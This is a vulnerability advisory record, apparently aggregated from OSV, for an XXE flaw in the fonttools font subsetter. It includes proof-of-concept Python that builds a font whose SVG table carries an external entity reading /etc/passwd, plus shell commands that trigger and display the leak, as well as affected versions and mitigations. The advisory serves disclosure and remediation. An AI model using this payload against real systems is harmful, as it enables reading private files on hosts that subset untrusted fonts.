{"id":"CVE-2023-45139","aliases":["GHSA-6673-4983-2vx5","PYSEC-2026-1388"],"title":"fonttools XML External Entity Injection (XXE) Vulnerability","summary":"fonttools XML External Entity Injection (XXE) Vulnerability","severity":"high","cvss":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","vendor":"fonttools","product":"fonttools","ecosystem":"pip","affected":["fonttools >= 4.28.2, < 4.43.0"],"patched":["fonttools 4.43.0"],"published":"2024-01-09","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:04.834179707Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-6673-4983-2vx5","references":[{"url":"https://github.com/fonttools/fonttools/security/advisories/GHSA-6673-4983-2vx5"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45139"},{"url":"https://github.com/fonttools/fonttools/commit/9f61271dc1ca82ed91f529b130fe5dc5c9bf1f4c"},{"url":"https://github.com/fonttools/fonttools"},{"url":"https://github.com/fonttools/fonttools/releases/tag/4.43.0"},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VY63B4SGY4QOQGUXMECRGD6K3YT3GJ75"},{"url":"http://www.openwall.com/lists/oss-security/2024/03/08/2"},{"url":"http://www.openwall.com/lists/oss-security/2024/03/09/1"}],"tags":["osv","pip"],"epss":0.01238,"epssPercentile":0.67788,"ingestedAt":"2026-07-08T18:25:46.294Z","slug":"CVE-2023-45139","body":"## Overview\n\n### Summary\n\nAs of `fonttools>=4.28.2` the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. \n\nThis allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. \n\n### PoC\n\n\nThe vulnerability can be reproduced following the bellow steps on a unix based system.\n\n1. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised `/etc/passwd` for our POC file to include and modified an existing subset integration test to build the POC font - see bellow.\n\n```python\n\nfrom string import ascii_letters\nfrom fontTools.fontBuilder import FontBuilder\nfrom fontTools.pens.ttGlyphPen import TTGlyphPen\nfrom fontTools.ttLib import newTable\n\n\nXXE_SVG = \"\"\"\\\n<?xml version=\"1.0\"?>\n<!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>\n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n  <g id=\"glyph1\">\n    <text font-size=\"10\" x=\"0\" y=\"10\">&test;</text>\n  </g>\n</svg>\n\"\"\"\n\ndef main():\n    # generate a random TTF font with an SVG table\n    glyph_order = [\".notdef\"] + list(ascii_letters)\n    pen = TTGlyphPen(glyphSet=None)\n    pen.moveTo((0, 0))\n    pen.lineTo((0, 500))\n    pen.lineTo((500, 500))\n    pen.lineTo((500, 0))\n    pen.closePath()\n    glyph = pen.glyph()\n    glyphs = {g: glyph for g in glyph_order}\n\n    fb = FontBuilder(unitsPerEm=1024, isTTF=True)\n    fb.setupGlyphOrder(glyph_order)\n    fb.setupCharacterMap({ord(c): c for c in ascii_letters})\n    fb.setupGlyf(glyphs)\n    fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order})\n    fb.setupHorizontalHeader()\n    fb.setupOS2()\n    fb.setupPost()\n    fb.setupNameTable({\"familyName\": \"TestSVG\", \"styleName\": \"Regular\"})\n\n    svg_table = newTable(\"SVG \")\n    svg_table.docList = [\n       (XXE_SVG, 1, 12)\n    ]\n    fb.font[\"SVG \"] = svg_table\n\n    fb.font.save('poc-payload.ttf')\n\nif __name__ == '__main__':\n    main()\n\n```\n\n2. Subset the font with an affected version of fontTools - we tested on `fonttools==4.42.1` and `fonttools==4.28.2` - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process):\n\n```shell\npyftsubset poc-payload.ttf --output-file=\"poc-payload.subset.ttf\" --unicodes=\"*\" --ignore-missing-glyphs\n```\n\n3. Read the parsed SVG table in the subsetted font:\n\n```shell\nttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx\n```\n\nObserved the included contents of the `/etc/passwd` file. \n\n### Impact\n\nNote the final severity is dependant on the environment fontTools is running in.\n\n- The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on\n\n\n\n### Possible Mitigations \n\nThere may be other ways to mitigate the issue, but some suggestions:\n\n1. Set the `resolve_entities=False` flag on parsing methods\n2. Consider further methods of disallowing doctype declarations\n3. Consider recursive regex matching\n\n\n\n## Affected packages\n\n- `fonttools >= 4.28.2, < 4.43.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `fonttools 4.43.0`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.2,"exploitation":0,"ransomware":0},"changes":[]}